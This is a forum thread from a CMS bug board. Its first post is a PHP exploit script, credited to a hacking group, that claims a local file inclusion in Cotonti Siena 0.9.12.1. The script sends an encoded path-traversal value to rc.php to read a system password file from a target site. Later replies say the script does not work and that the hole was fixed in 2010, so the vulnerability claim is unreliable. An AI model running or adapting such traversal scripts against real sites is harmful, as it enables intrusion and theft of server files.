Foren / Cotonti / Bugs / Siena LFI hacking

MecTruy
#1 17. Februar 2013, 00:39
LFI attack Cotonti Siena 0.9.12.1 LFI


<?php
/* 
*  WWW.PUNISH3R.COM
*  Bug               :Cotonti Siena 0.9.12.1 LFI
*  Author(Pentester) : FreWaL & Dr.Ly0n
*  Special Thanks    : Z0rLu, MaXtoR, MecTruy, Polonia, Monarchy, Eno7, RedWorm, R00tk!d, Harded, The_Mirkin and PUNISH3R all special user
*
*/
$hedef  = "http://hedefsite.com";
$dosya  = ".%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2Fetc%2Fpassword";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL, "http://$hedef/rc.php?rc=".$dosya);
curl_setopt($curl, CURLOPT_HTTPGET, 1);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($curl, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($curl, CURLOPT_COOKIEJAR, "/tmp/cookie_$hedef");
$cikti = curl_exec ($curl);
curl_close($curl);
unset($curl);

echo $cikti;
?>

 

Kurta sormuşlar senin ensen neden kalın ? diye, Kendi işimi kendim yaparımda ondan demiş...
Xerora
#2 17. Februar 2013, 06:18

This won't work on 0.9.12.1. It seems like this has been the case for many versions before 0.9.12.1 as well as far as I can tell.

edit: removed line that could be misread about the error that it would return


Dieser Beitrag wurde von Xerora (am 18. Februar 2013, 19:16, vor 11 Jahre) bearbeitet
tensh
#3 18. Februar 2013, 08:43

does it work on previous Sienas? How to prevent it? Can I just delete this file?

Trustmaster
#4 18. Februar 2013, 18:24

Seriously, this was fixed in 2010. It is incorrect to say that 0.9.12.1 is vulnerable.

May the Source be with you!